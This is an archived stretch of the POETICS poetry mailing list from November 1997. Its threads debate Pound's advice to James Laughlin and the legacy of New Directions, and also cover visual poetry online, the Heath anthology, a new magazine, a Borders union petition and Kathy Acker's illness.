> *Organizations wishing to join the coalition may contact Elizabeth Elliott McGeveran, Social Investment Forum, [redacted].*
> *Updated information on coalition activities and statements will be available at www.socialinvest.org/sec*
>
> *FOR MORE INFORMATION, CALL: Erin Mantz or Scott Stapf, 703/[redacted]*
>
> *For more information visit the Forum's SEC News & Alert site*
>
> *# # #*
>
> *Stephen Viederman,President*
> *Jessie Smith Noyes Foundation*
> *6 East 39th Street*
> *New York, NY 10016*
> *[redacted]*
> *[redacted] fax*
> *[redacted]*

Annie Finch (Homepage: http://www.muohio.edu/~finchar/)
Department of English
Miami University, Oxford, Ohio 45220

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339. **Annie Finch**
Re: James Laughlin
Sat 15 Nov 1997

If I am reading Maria's response right, the part that's hard to swallow has nothing to do with whether Pound's assessment of Laughlin's talent was accurate or not. The annoying thing is the hierarchically-based arrogance that made Pound feel entitled to attempt to coopt someone else's life that way. And the really annoying thing is that this is the kind of move that has gotten so many male poets published, no matter what the gender of the coopted ones; this is. I had the exact same visceral reaction to the anecdote that Maria reported. And no amount of rationalization about Laughlin's talent--or the eventual size of his impact on the current state of literary affairs--will change the truth that gives rise to such visceral reactions.

Annie

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that Pound told s>Hi Maria & Pat--
>Of course, the "Mauberley" comment is directed by a publisher at a poet,
>and relates, not to the quality of the poet's work, but the very
>desirability of pursuing poetry as a genre--it's simply not economically
>rewarding. Pound never told Jay Laughlin not to write cuz he wouldn't get
>rich or make a living at it, but because he believed that Laughlin simply
>didn't have the talent or sensibility ever to be very good at it. (I
>think he was more or less right--I've read a lot of Laughlin's poetry, and
>I can't recall a single one of the poems that sticks in my mind as
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>relentlessly _minor_, but most of it falls right into the category of
>personal, voice-based lyric that most of us on the list seem to dislike
>and find retrograde. What I _do_ find intermittently interesting is his
>typewriter-space based prosody--each line determined by the number of
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>Lazarus out of Parnassus. So what? The latter may well be a case of
>sexism, the former certainly isn't. Does his treatment of Laughlin mean
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>Pound's immense aid and sponsorship of younger poets? Go back and reread
>the letters to Mary Barnard and Iris Barry in Pound's _Selected Letters_
>if you want to say something about the gendered basis of Pound's
>mentorship practices. (Of course, it may be a class thing--Pound
>dismissing Laughlin's work as a rich boy's dilletantism--but I suspect
>that we're much less willing to rush to the defence of the well-endowed
>minority.) Sorry, but I find it odd that, in a moment when everyone is
>striving to say nicenesses about Laughlin's position in 20th-century
>poetry publishing, you want to bend over backwards to make Pound's
>dismissal of his work somehow symbolic of male poets' squashing female
>poets' talents. Sadly, it happens all the time--but it didn't happen
>here, and Laughlin's publishing track record shows that, of small press
>publishers in the US, he wasn't particularly guilty of that sin.
>best,
>Mark Scroggins
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>> time to have become magnified into his psychosis. Funny thing is though, I
>> can't think of a better word to describe the institutionalized sexism you
>> allude to. And this remark from Pound to JL by the same poet who satirized
>> such patronizing attitudes in "Hugh Selwyn Mauberly": "... and give up
>> poetry, my boy, there's no money in it."
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>> >> the late 30's. Pound, however, advised him to give up poetry and
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>> >
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Annie Finch (Homepage: http://www.muohio.edu/~finchar/)
Department of English
Miami University, Oxford, Ohio 45220

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340. **Tosh**
Re: James Laughlin
Sun 16 Nov 1997

Overall I think Pound was an amazing artist who was also a creep. Laughlin's range of artists - from Osamu Dazai to Blaise Cendrars to H.D. to Mishima to an early anthology of language poetry is simply amazing. New Directions is great, and I shutter to think that such a publishing house wouldn't exist. So whatever it was Pound or Laughlin (and I would think Laughlin was simply a genius of an editor) we should all just pause for a second and give thanks to the spirit of Laughlin. And really, I don't think we should give Pound too much credit in regards to Laughlin, New Directions, etc.

Tosh Berman
TamTam Books

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341. **Jerry E. Fletcher**
Re: James Laughlin
Sun 16 Nov 1997

Re: Pound and Laughlin,

Pond has never been a favorite of mine and I must plead ignorance of Lauglin, but would say that if Laughlin had followed Pound's advice and stuck just with just publishing, then it would mean that Laughlin would have either realized his heart wasn't in writing or he was a weak willed individual easily swayed by Pound and others. In any event, if he had chosen only to publishe, would the literary world have missed his written work?

Jerry Fletcher

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342. **Jerry E. Fletcher**
Re: visual poetry on the internet
Sun 16 Nov 1997

Miekal,

I visited your visual poem and found it most interesting. The tying together of the visual and moving images with the written offers a powerful means of expressing. Unfortunately, I was unable to stay connected long enough to load all

the images, my service provider's local dial access is having problems and keeps dropping me.

Have you, or anyone you are aware of, integrated sound (either music, noises, or reading of the poetry, even a combination) together? Unfortunately, visual and/or sound integrated poetry awaits faster connection speeds before it will work well, I'm afraid. Also, we all need more bandwidth.

Jerry.

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343. **rsillima**
Laughlin/Pound
Sun 16 Nov 1997

Laughlin surely does raise the spectre of Pound once again, if only to remind us of how much of Pound's work was simply putting people in touch with one another. Listening to the Laughlin obit on All Things Considered the other night, who do I hear but ol' Ez hisself, reading "Mauberly," which the narrator stated "could have been written about Laughlin."

While I tend to think of New Directions as a publisher who ran out of gas by the early 1960s (the recent additions to its list of writers, even including Creeley nearly a quarter of a century ago, have for the most part been already established figures), its impact in carrying modernism into the 1940s and 50s cannot be underestimated.

Good to know that he provided for the continuation of the press.

Ron

Ron Silliman
262 Orchard Road
Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]
http://writing.upenn.edu/epc/authors/silliman/

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344. Miekal And
Re: visual poetry on the internet
Sun 16 Nov 1997

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jerry
visit
100
villages

http://net22.com/qazingulaza/joglars/logokon.html

again
& thus
it will
squeak

m and

↑ Index

345. Alan Grep Sondheim
Stupid Jennifer's Exercises! (fwd)
Sun 16 Nov 1997

-

Style Exercises (As I jain a lacal writing graup in Fukuoka)

"mare velcra" binds kanji ta
the page, arrange radicals, rage acrass ar kill katakana
in stage
ane, ar twa, unbind, ar
rearrange: the plague af language gauges
spiked ar pierced
imaginary:
Hakusai wauld say ghasts,
unreading, blaated
killed acrass the gaad exercise af style

"parachute"
I fell ah ah ah
paar me.
It wrapped everywhere
araund my eyes
tawards the graund,
tawards that clath
I refuse ta name.
Braken air
Cracked claud milled
ar lathed
caught in the thraat -
I wan't name yau!
I wan't!

"umbilical chards,"
tethered ta the mather,
Heiner Muller blahblah
tethered ta the ather mather
in same cultures, I'd swallaw them
hale

I need ta exercise my rights. I need ta make the canstitutian.
I need ta write the fareign tangue.
Gaijin repraduce at an absurd rate, I hear they fuck like anyane else,
but I dan't believe it.
What can be dane with the animals that cangregate an a paetics af exchange
and incanceivable denauement? There's a bar, Rumaurs.
There's a barrier. I learn ta write again! Sure, I'll take aut my a's!

↑ Index

346. **robert drake**
Re: visual poetry on the internet
Sun 16 Nov 1997

Jerry E. Fletcher <[redacted]> writ:
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>noises, or reading of the poetry, even a combination) together?
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>need more bandwidth.

there are a couple ov recent pieces on th WrEyeTings Scratchpad site

http://www.burningpress.org/wreyeting/index.html

that have sound components: Bill Marsh's "the oo if" and my own "radioz". th pad is exactly a kind of workshop/laboratory fr addressing technical (speed/ bandwidth) problems, as well aesthetic; if you have any time to check out the pieces, the authors wd appreciate reports of yr results...

luigi

↑ Index

347. **Maria Damon**
Re: James Laughlin
Sun 16 Nov 1997

---

yes this is pretty much on target annie, a visceral response to a scenario that was oh so familiar and painful, questions of "talent" aside.

At 10:35 PM -0500 11/15/97, Annie Finch wrote:
>If I am reading Maria's response right, the part that's hard to swallow
>has nothing to do with whether Pound's assessment of Laughlin's talent was
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>
>Annie Finch (Homepage: http://www.muohio.edu/~finchar/)
>Department of English
>Miami University, Oxford, Ohio 45220

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348. **Maria Damon**
Re: James Laughlin
Sun 16 Nov 1997

At 10:56 PM -0800 11/15/97, Tosh wrote:
>Overall I think Pound was an amazing artist who was also a creep.
>Laughlin's range of artists - from Osamu Dazai to Blaise Cendrars to H.D.
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>Laughlin was simply a genius of an editor) we should all just pause for a
>second and give thanks to the spirit of Laughlin. And really, I don't

>think we should give Pound too much credit in regards to Laughlin, New
>Directions, etc.

yes indeed, tosh. yr assessments seem pretty right on to me. how 'bout an update on tamtam?
>
>----------
>Tosh Berman
>TamTam Books
>----------

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349. **Harold Rhenisch**
Re: James Laughlin
Sun 16 Nov 1997

Just to insert something into the discussion, peripherally. Eliot had a different take on manipulative mentor mania.

As I remember it, he once said that whenever a young writer asked him whether he or she should become a writer he responded "No." His explanation was that if someone was going to be a writer then he or she would discount what he (Eliot) said as being stupid and go on writing anyway, and if that person was not committed to the task then he had saved them a lot of grief.

Makes me wonder what didn't get written because of that.

Harold

(At 10:35 PM -0500 11/15/97, Annie Finch wrote:
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>that made Pound feel entitled to attempt to coopt someone else's life that
>way. And the really annoying thing is that this is the kind of move that
>has gotten so many male poets published, no matter what the gender of the
>coopted ones; this is. I had the exact same visceral reaction to the
>anecdote that Maria reported. And no amount of rationalization about
>Laughlin's talent--or the eventual size of his impact on the current state
>of literary affairs--will change the truth that gives rise to such
visceral
>reactions.
>
>Annie
>

>
>nd hierPound'sassessment Maybe what Maria is responding to is not the fact
>that Pound told s>Hi Maria & Pat--
>>Of course, the "Mauberley" comment is directed by a publisher at a poet,
>>and relates, not to the quality of the poet's work, but the very
>>desirability of pursuing poetry as a genre--it's simply not economically
>>rewarding. Pound never told Jay Laughlin not to write cuz he wouldn't
get
>>rich or make a living at it, but because he believed that Laughlin simply
>>didn't have the talent or sensibility ever to be very good at it. (I
>>think he was more or less right--I've read a lot of Laughlin's poetry,
and
>>I can't recall a single one of the poems that sticks in my mind as
>>particularly
>>good. I suppose it would be way uncool for me to characterize his work
as
>>relentlessly _minor_, but most of it falls right into the category of
>>personal, voice-based lyric that most of us on the list seem to dislike
>>and find retrograde. What I _do_ find intermittently interesting is his
>>typewriter-space based prosody--each line determined by the number of
>>spaces, rather than syllables or words. But that doesn't keep me reading
>>the poems.)
>> You draw a fascinating parallel, Maria, but what's the
>>significance? Pound tells Laughlin not to write; Emerson leaves Emma
>>Lazarus out of Parnassus. So what? The latter may well be a case of
>>sexism, the former certainly isn't. Does his treatment of Laughlin mean
>>we should discount
>>Pound's immense aid and sponsorship of younger poets? Go back and
reread
>>the letters to Mary Barnard and Iris Barry in Pound's _Selected Letters_
>>if you want to say something about the gendered basis of Pound's
>>mentorship practices. (Of course, it may be a class thing--Pound
>>dismissing Laughlin's work as a rich boy's dilletantism--but I suspect
>>that we're much less willing to rush to the defence of the well-endowed
>>minority.) Sorry, but I find it odd that, in a moment when everyone is
>>striving to say nicenesses about Laughlin's position in 20th-century
>>poetry publishing, you want to bend over backwards to make Pound's
>>dismissal of his work somehow symbolic of male poets' squashing female
>>poets' talents. Sadly, it happens all the time--but it didn't happen
>>here, and Laughlin's publishing track record shows that, of small press
>>publishers in the US, he wasn't particularly guilty of that sin.
>>best,

>>Mark Scroggins
>>
>>On Fri, 14 Nov 1997, Pritchett,Pat @Silverplume wrote:
>>
>>> Interesting observation, Maria. Pound was, I suppose, nothing if not
>>> patronizing. This tendency to lord it over "lesser mortals" seems over
to
>>> time to have become magnified into his psychosis. Funny thing is
though,
I
>>> can't think of a better word to describe the institutionalized sexism
you
>>> allude to. And this remark from Pound to JL by the same poet who
satirized
>>> such patronizing attitudes in "Hugh Selwyn Mauberly": "... and give up
>>> poetry, my boy, there's no money in it."
>>>
>>> Patrick Pritchett
>>> ----------
>>> From: Maria Damon
>>> To: POETICS
>>> Subject: Re: James Laughlin
>>> Date: Friday, November 14, 1997 12:06PM
>>>
>>>
>>> a very informative post, and one that makes me think twice. a
publishing
>>> company that was started because an aging fascist with enormous
charisma
>>> and clout said, you should quit writing and devote yourself to
publishing
>>> me and my friends???? sounds uncomfortably familiar, only usually a
>>> certain gender difference plays a role, which it doesn't here, at least
not
>>> so explicitly...
>>>
>>> At 8:23 PM -0400 11/13/97, David R. Israel wrote:
>>> >Patrick Pritchett writes --
>>> >
>>> >> The story goes, as Laughlin himself relates in his marvelous _Pound
>>> >> As Wuz_, that he went to sit at the feet of the master in Rapallo in
>>> >> the late 30's. Pound, however, advised him to give up poetry and

>>> >> start a publishing company that would print Pound and Pound's pals.
>>> >> The rest is history, as they say. . . .
>>> >
>>>
>
>Annie Finch (Homepage: http://www.muohio.edu/~finchar/)
>Department of English
>Miami University, Oxford, Ohio 45220

↑ Index

350. Rob Hardin
Grief to come
Sun 16 Nov 1997

RIP, 1997: Burroughs, Laughlin, and now, barring a miracle, Kathy Acker (b. April 18, 1948).
This is truly a sad and plangent year.

Emergate quandprimum, amici in ars morbi,

Rob Hardin

↑ Index

351. Susan Schultz
RHawai'i Winter League Baseball
Sun 16 Nov 1997

Last night at the winter league game between the Honolulu Sharks and the Maui Stingrays, the former Philly Phanatic (now sporting the rather dull moniker of "Sport") was spotted buffing list member Bill Luoma's bolohead not once, but twice. On the second go-round, he applied squeegee and a tiny plunger to help him in his task. Bill was then presented with an autographed card of Sport, but not the one showing the mascot pinching a base coach's bum--that one was strangely reserved for the under 10 crowd. But by far the best venue for baseball on this island (Juliana, Bill, and I will attest to this) is the choicely named Hans L'Orange Park in Waipahu, where the West Oahu Cane Fires play their home games. At that park, a collection is taken up from the crowd for the private use of any Cane Fires player who hits one home run, lidat!

Susan

No poetry but in baseball.

Susan M. Schultz
Dept. of English
1733 Donaghho Road
University of Hawai'i-Manoa
Honolulu, HI 96822

http://writing.upenn.edu/epc/authors/schultz
http://writing.upenn.edu/epc/ezines/tinfish

↑ Index

352. Scott Pound
ANNOUNCING ESSEX MAGAZINE
Sun 16 Nov 1997

ESSEX
SSEXE
SEXES
EXESS
XESSE
ESSEX

is an international journal

of poetry and word art (reviews too)

named after a local pub in Buffalo

it's everything a small magazine can be.

ESSEX 1/1 ("Isomorphically Yours"): 7 X 7 inch folded and stapled (4 tip-ins)

Christian Bok, Rose Withers, cris cheek, Scott Pound, William R. Howe, John M. Bennett, Michael Basinski, Wendy Kramer, Owen F. Smith, and Darren Wershler-Henry.

ESSEX 1/2: 18 pages let loose in a 9 X 12 envelope and a lunch bag full of tip-ins

Jeff Derksen, Steve McCaffery, Karen Mac Cormack, Tara Azzopardi, Deanna Ferguson, Lisa Robertson, Stephen Cain, Peter Jaeger, Jarl Jirgins, William R. Howe, and Scott Pound.

ESSEX 1/3: INTERNATIONAL CONCRETE ISSUE (forthcoming) 7 X 7 with fold-out pages

bpNichol (previously unpublished early works)

Ferdinand Aguar

Steve McCaffery (never before published material from Carnival: Panel Three in colour)

Christian Bok

AND MUCH MORE!

Please send inquiries, submissions of recent work, and subscription requests to:

Scott Pound or Bill Howe
83 Macdonell Ave. 42 Essex Street
Toronto, ON M6R 2A4 Buffalo, NY 14213
CANADA USA
[redacted]

Individual Issues..... $ 5.00 US
5-Issue Subscription..... $20.00 US

↑ Index

353. **B. Taylor**
Pound, Moore, Laughlin
Sun 16 Nov 1997

---

an odd crossing of Marianne Moore's famous opener of "Poetry," as the review in todays NYT Book Review of her letters reveals that despite her lifelong opposition to antisemitism and her deploring of his positions, she did in fact personally like Pound.

on 11/15 Burt Kimmelman writes
> To mirror people
>like marianne moore and more recently alfred kazin, let me say that i
>too dislike pound--but i also recognize his genius, and as a literary
>historian of a sort his huge influence on 20th century poetry and criticism.

↑ Index

354. **Harold Rhenisch**
Re: quote for the day
Sun 16 Nov 1997

William Burmeister wrote:

> *The short time traces have always been unavoidable in poetry (even desirable I might think; a lot more than we can quantify gets communicated*

>in short spaces). This is subtlety and something for poets of the now and
the >future to develop.

No, I did not mean subtlety. I meant that the discrepancy between traditions of culture (and also of poetic cultures) can be so great that when work moves from one to the other it is completely misread, and that this mis-reading then becomes the code by which the piece is discussed. An intended revolution is not going to take place this way. There will be a revolution, but it will be through the traces, and moreso, and this is what concerns me, through the cultural biases which led to the misrepresentation in the first place. The piece is not being read, in other words, only the response to the piece is being read, and that response consists only in the way in which the piece fits into established cultural criteria. Now, this seems to me to be the way things work, and it also seems to me that problems can occur when we insist on reading an unreasoned response as if it is a reasoned one.

William was also responding to:

>When we shift to a different type of
>text (from conservative poetry to lang-po, for instance, or from
Disneyland
>sound-bites to T.S. Eliot) we will get messed up, because we will process
>the signal automatically, but we will be processing it incorrectly. It
will
>be unreadable. A reader willing to do the work will correct this, by
>switching to manual processing, then building up a new and more
>sophisticated processing system, which can eventually process the
material correctly.

William, you said:

> *And a quiet revolution has taken place.*

Yes, but only if we have a reader willing to do the work, and my point was that it is easy to have a reader not willing to do the work, because the work has already been dismissed, not out of malice, but because of contrasting languages.

When I suggested there could be a poetry of the traces, I was thinking of a way of getting around this problem of mis-reading (or, rather non-reading) by using the material of that non-reading as the basis of the poem.

Then again, maybe that's what you meant, too.

Best,

Harold Rhenisch

↑ Index

355. **Harold Rhenisch**
Re: James Laughlin
Sun 16 Nov 1997

>Will Hugh Kenner's life and work, when he dies, be similarly reduced to
his >visiting Pound at the urging of Marshall McLuhan?

Na, just as Pound's wasn't reduced to the visit he made to honour Owen Scawen Blunt, or the way he visited Yeats The Great on a quick Grand Tour of Europe that kind of s t r e t c h e d out.

Harold Rhenisch

↑ Index

356. **Henry Gould**
Re: Laughlin/Pound
Sun 16 Nov 1997

I also happened to hear the voice of Pound reciting on the J. Laughlin piece on NPR. & the strange thing was, later that night I watched an early Satyajit Ray film called "Devi", which includes a brief scene in which the senile, goddess-obsessed patriarch recites from memory some sacred Sanskrit verse to his upstart son - & he sounds like Ol' Ez. - Henry Gould

↑ Index

357. **Burt Kimmelman**
Re: Pound, Moore, Laughlin
Sun 16 Nov 1997

B Taylor et al.:
I did not mean to imply that M Moore did not like Pound, just for the record.

↑ Index

358. **Kali Tal**
Heath anthology, Lazer, Lauter...
Sun 16 Nov 1997

POETICS folk... I'm forwarding this to the list for Paul Lauter, who has been following the discussion second-hand. He asked me to post the following response to the list. Please send your answers to him directly or remember to cc the post to Paul if you send it to POETICS because Paul isn't a POETICS subscriber.

Kali

> *Date: Sun, 16 Nov 1997 22:40:17 -0500 (EST)*
> *From: Paul Lauter <[redacted]>*
>
> *Kali Tal forwarded Hank Lazer's post regarding contemporary poetry. I think Hank's description of what is in the Heath, and what is not, is reasonably accurate, though I might disagree with how he characterizes it.*
> *However that might be, I surely do want to second his suggestion that people write to me about their sense of what the anthology should contain. It's important, however, to recognize that--whatever else it is--the Heath is a teaching text. So it's important from my perspective to know how people actually teach work that falls outside the range we have included.*
> *The best address for me is e-mail: <[redacted]>*
> *I'll certainly forward posts to other editors. And I should add that while the 3rd edition has just come out, we are (believe it or. . .) already thinking about the 4th. paul*

Kali Tal
Lecturer, University of Arizona
new WORD order
PO Box 13746, Tucson AZ 85732-3746 http://www.new-word.com
[redacted] (phone & fax) "Web Design For Smart People"

Sixties Project [redacted]
http://jefferson.village.virginia.edu/sixties http://www.kalital.com

↑ Index

359. Jerry E. Fletcher
Re: Pound, Moore, Laughlin
Mon 17 Nov 1997

Insofar as Pound goes, though I would not be one to support his facism, I do think the 13 years he spent locked in the hospital after the war was more than a bit excessive punishiment. As to his poetry...its punctuated with greatness, but also often dissolves in nothingness.

Jerry.

↑ Index

360. david bromige
tragedy
Mon 17 Nov 1997

---

a tragedy is a child prodigy dead of rosin poisoning in Carnegie Hall on New Years Eve. A premature death is terribly sad, terribly disturbing, unspeakably

factual, perhaps a catastrophe, and surely for those most intimately concerned, a catastrophe, a disaster; but it is not a tragedy. In the presence of death, let us be true to our words. I myself find this news incredible, which is perhaps what makes Jerry Fletcher utter the term "tragedy". Certainly to me she is so much younger, that I find her condition dizzying. It feels like "only the other day" that her home-published "Tales of the Black Tarantula" began slipping thru my mail-slot. Little did we suspect then what fame & notoriety she would happily achieve. She "went for broke" in a big way, an utterly american way, & people loved her for it. And still do. And who knows, maybe she will pull thru. The word I heard last week, in San Diego, was that she is in a clinic in Tiajuana, where the less-stringent laws of Mexico permit more venturesome treatments than one can obtain here. She has metastisized cancer, I heard; a tough prognosis, but where there's life, who can surrender possibility? I surely hope she isn't on this List!

David

↑ Index

361. **Tosh**
Re: James Laughlin
Mon 17 Nov 1997

.
>
>yes indeed, tosh. yr assessments seem pretty right on to me. how 'bout an
>update on tamtam?
>>

Well, now that you ask... TamTam is just waiting for designs, etc. The first book will be Serge Gainsbourg's Evguénie Sokolov, and then Boris Vian's I Shall Spit on Your Graves, and Guy Debord's Considerations on the Assassination of Gérard Lebovici will follow shortly. After that more fun stuff!

Tosh Berman
TamTam Books

↑ Index

362. Jerry E. Fletcher
Re: Grief to come
Mon 17 Nov 1997

Rob Hardin wrote:
>
> RIP, 1997: Burroughs, Laughlin, and now, barring a miracle, Kathy Acker (b.
> April 18, 1948).
> This is truly a sad and plangent year.
>
> Emergate quandprimum, amici in ars morbi,
>
> Rob Hardin

What, no requiem for Allen Ginsberg? Burroughs, tho, had pretty much lost it. If Acker is on death's bed, that is a tragedy at only 49...

Jerry

↑ Index

363. Jordan Davis
Yasusada ... Watten ... Social texas
Mon 17 Nov 1997

A catalog of literary hoaxes covers the front page of the second section of this past weekend's Financial Times, and list-subjects Yasusada, Ern Malley and Alan Sokal make up the bulk of the second half of the article. Way to go team! Demidenko, Paul Theroux and Ossian, hoaxers not yet broached here are touched on, and Chatterton and Bob Hershon's public school students are left out. Just thought I'd mention it, since Kent Johnson seems to have taken a vacation from the Yasusada updates.

Rather than pick apart where Watten claims to diverge from Bernstein (and by swerving out of that collision path, to avoid assessing the accuracy of his paraphrase and the validity of either set of remarks, more work than a Tuesday-after-holiday) I'll just register my amusement at the Grenier / Coolidge split, which Watten predicates on a reading of Grenier's "hate speech" as requiring a description of some instantaneous burst of thought (apparently very close to what Ginsberg late in his teaching described 'first thought best thought' as meaning), and also on a comparison of Coolidge to Henry Ford. Leaving aside Watten's remark that Ford's development of the assembly line was "idiot simple", and letting sit like a heap of dung the perpetuation of that sort of academic ad hominem moronism, I'd like to ask the list what distinction Watten is making when he refers to some texts as "social texts". I'm aware that this is the

name of a (recently hoaxed) journal edited by Andrew Ross. Then what do I do. Is this listserv a social text? Then are anonymous or unpublished works anti-social texts? ooooooooo baby baby. It was pleasant to put together words and think there was something post-industrialist about it.

Kyrgystan,
Jordan

↑ Index

364. **Burt Kimmelman**
Re: Heath anthology, Lazer, Lauter...
Mon 17 Nov 1997

To Paul Lauter,

First of all thank you for allowing this discussion of the Heath to include you as its editor. Now, that said, allow me to submit the idea that, perhaps today more than ever, an anthology is a powerful influence on the literary canon, given the logistics college instructors usually face--much in the way that dictionaries legitimize usages (a recent student of mine pointed out to me that he very well COULD spell "through" as "thru" inasmuch as his dictionaryy, a Webster if I recall, albeit maybe not a direct descendent of Noah Webster, had "thru" as an alternative spelling of the word). I can't count how many times i've had to exclude important poets from courses because I couldn't really ask my students to buy these poets' books AND an anthology.

Burt Kimmelman

↑ Index

365. **Keith Tuma**
Re: Yasusada ... Watten ... Social texas
Mon 17 Nov 1997

On Mon, 17 Nov 1997 09:03:16 -0500 Jordan Davis said:

> *moronism, I'd like to ask the list what distinction Watten is making when he refers to some texts as "social texts". I'm aware that this is the name of a (recently hoaxed) journal edited by Andrew Ross. Then what do I do. Is this listserv a social text? Then are anonymous or unpublished works anti-social texts? ooooooooo baby baby. It was pleasant to put together words and think there was something post-industrialist about it.*

If the social is a text, is the text a social? Can we meet with the Methodists on Saturday afternoon and not talk about literature?

nostalgically,
Cleanth Brooks

↑ Index

366. David R. Israel
social
Mon 17 Nov 1997

[was, Re: Yasusada ... Watten ... Social texas]

> *Then are anonymous or unpublished works anti-social texts? ooooooooo baby baby. It was pleasant to put together words and think there was something post-industrialist about it.*
>
> *If the social is a text, is the text a social? . . .*

okay, here's an essay at aphorismism --

perhaps all texts are social, but not all are sociable

d.i.

↑ Index

367. Scott Pound
ESSEX
Mon 17 Nov 1997

In the 20 or so hours since i posted notice of ESSEX magazine the response has been overwhelming, and I very quickly realized that i forgot to outline payment details.

cheque or money-order in US funds payable to either Scott Pound or William R. Howe. In lieu of payment we will also accept trades (of whatever you have) and/or items for the ESSEX Studios archive at 42 Essex Street.

Many Thanks!

Scott

↑ Index

368. Mark Prejsnar
Re: Border's Books/Union Petition
Mon 17 Nov 1997

Bravo to the poets involved with supporting this effort.

In essence, Standard, the situation began just because of a basic organizing effort. As *always* with labor struggle these days, health benefits have a lot to do with with why the workers want a union...But so do wages, dignity, basic control of their own lives, basic rights. The issue is essentially the right to organize: the most basic right there is.

laboriously,
Mark P.
atlanta

On Fri, 14 Nov 1997, P.Standard Schaefer wrote:

> *To the Poetics List:*
>
> *I got the petition e-mailed to me so I thought I'd post it so people could know about what's going on with Border's Books. Essentially, they're bullying the workers and threatening to fire them, ect., should they try to organize. I'm under the impression health benefits are part of the concern.*
>
> *Send mail/signed copies to Mr. Lichenstein.*
>
> *Nelson Lichenstein*
> *Department of History*
> *U. of Virginia*
> *Charlottesville, VA 22903*
>
> *We hereby demand that Border's, Inc. bargain in good faith and negotiate a fair and equitable contract with their employees who exercised their legal right by voting to be represented by the United Food and Commercial Workers, AFL-CIO.*
>
> *Further we demand that Borders, Inc. cease and desist from all actions intended to intimidate, or demean its employees; that Borders, Inc. affirm the employees' legal right to form and join a Union, and remain neutral in employees' efforts to organize.*
>
> *Paul Vangelisti*
> *Writer & teacher*
> *Los Angeles*
>
> *Robert Crosson*
> *Writer*
> *Los Angeles*
>
> *Standard Schaefer*
> *Writer*
> *Pasadena*
>
> *Evan Calbi*
> *Writer/Editor*
> *Los Angeles*

↑ Index

369. **Maria Damon**
Re: tragedy
Mon 17 Nov 1997

now wait a minute. kathy's still among us. can we hold off on the eulogies until it's time?

At 12:38 AM -0800 11/17/97, david bromige wrote:
>a tragedy is a child prodigy dead of rosin poisoning in Carnegie Hall on
>New Years Eve. A premature death is terribly sad, terribly disturbing,
>unspeakably factual, perhaps a catastrophe, and surely for those most
>intimately concerned, a catastrophe, a disaster; but it is not a tragedy.
>In the presence of death, let us be true to our words. I myself find this
>news incredible, which is perhaps what makes Jerry Fletcher utter the term
>"tragedy". Certainly to me she is so much younger, that I find her
>condition dizzying. It feels like "only the other day" that her
>home-published "Tales of the Black Tarantula" began slipping thru my
>mailslot. Little did we suspect then what fame & notoriety she would
>happily achieve. She "went for broke" in a big way, an utterly american
>way, & people loved her for it. And still do. And who knows, maybe she will
>pull thru. The word I heard last week, in San Diego, was that she is in a
>clinic in Tiajuana, where the less-stringent laws of Mexico permit more
>venturesome treatments than one can obtain here. She has metastisized
>cancer, I heard; a tough prognosis, but where there's life, who can
>surrender possibility? I surely hope she isn't on this List!
>
>David

↑ Index

370. **p. durgin**
Re: not worth quoting, a tangent
Mon 17 Nov 1997

Hearing Clinton addressing gays & lesbians at the Hyatt, at least one man was (something) enough to stand up and question the flaccid rhetoric being lauded there. A democracy is cruxed on the ideal that WE know what's best for US. Agreed? Then let's move on. A representitive democracy is cruxed on the ideal that we know that someone ELSE knows what's best for us. Agreed? Then let's move on. A social democracy is cruxed on the ideal that we know that we DO NOT know what's best for anyone else except US. Agreed? Then let's move on. Write in Myles -- Again.

Patrick F. Durgin

|||[redacted]|||

On Fri, 14 Nov 1997, William Burmeister Prod wrote:

.....---->
> And a quiet revolution has taken place.
>
>
> William Burmeister
>

↑ Index

371. **mark weiss**
Re: Heath anthology, Lazer, Lauter...
Mon 17 Nov 1997

This isn't really a reply to Burt's post--I'm attaching because I like his tack and wish to extend it for Paul Lauter's consideration. Every time I teach a poetry course I create my own xerox anthology. I don't think I'm alone in this. That enriches Kinko's, but not Heath. It also makes my life a lot more difficult. Anthologies influence the canon as perceived by teachers as well as students, not only because they legitimize but because they give access to material that might otherwise be unfamiliar. Even the unconverted prof might be prone to select an anthology that offers some novelty to teacher and student. I think this is a case where virtue need not be its own reward--a more inclusive anthology makes bottom-line sense.

At 09:38 AM 11/17/97 EST, you wrote:
>To Paul Lauter,
>
>First of all thank you for allowing this discussion of the Heath to
include you
>as its editor. Now, that said, allow me to submit the idea that, perhaps
>today more than ever, an anthology is a powerful influence on the literary
>canon, given the logistics college instructors usually face--much in the way
>that dictionaries legitimize usages (a recent student of mine pointed out to
>me that he very well COULD spell "through" as "thru" inasmuch as his
dictionaryy, a Webster if I recall, albeit maybe not a direct descendent of
Noah Webster,
>had "thru" as an alternative spelling of the word). I can't count how
many times
>i've had to exclude important poets from courses because I couldn't really
ask

>my students to buy these poets' books AND an anthology.
>
>Burt Kimmelman
>
>

↑ Index

372. **groberts**
R. Buckminster Fuller
Mon 17 Nov 1997

A friend tells me that Fuller wrote a book-length open-form poem about the Industrial Revolution. Anyone know about it? Is it worth tracking down?

Gary R.

↑ Index

373. **mark weiss**
Re: not worth quoting, a tangent
Mon 17 Nov 1997

And in this democracy any group is invisible at best until it's recognized as a voting bloc, which is what Clinton was up to. Whether his speech was flaccid or had a hard-on it's difficult for me to see it as anything but a good thing, although one could certainly ask for more.

At 10:58 AM 11/17/97 -0600, you wrote:
> Hearing Clinton addressing gays & lesbians at the Hyatt, at least
>one man was (something) enough to stand up and question the flaccid
>rhetoric
>being lauded there.
> A democracy is cruxed on the ideal that WE know what's best for
>US. Agreed? Then let's move on.
> A representitive democracy is cruxed on the ideal that we know
>that someone ELSE knows what's best for us. Agreed? Then let's move on.
> A social democracy is cruxed on the ideal that we know that we DO
>NOT know what's best for anyone else except US. Agreed? Then let's move
>on.
> Write in Myles -- Again.
>
> Patrick F. Durgin
>
> |||[redacted]|||
> _____

>
>On Fri, 14 Nov 1997, William Burmeister Prod wrote:
>
>.....---->
>> And a quiet revolution has taken place.
>>
>>
>> William Burmeister
>>
>
>

↑ Index

374. **henry gould**
Re: not worth quoting, a tangent
Mon 17 Nov 1997

On Mon, 17 Nov 1997 10:58:51 -0600 p. durgin said:
> A democracy is cruxed on the ideal that WE know what's best for
>US. Agreed? Then let's move on.
> A representitive democracy is cruxed on the ideal that we know
>that someone ELSE knows what's best for us. Agreed? Then let's move on.
> A social democracy is cruxed on the ideal that we know that we DO
>NOT know what's best for anyone else except US. Agreed? Then let's move
>on.

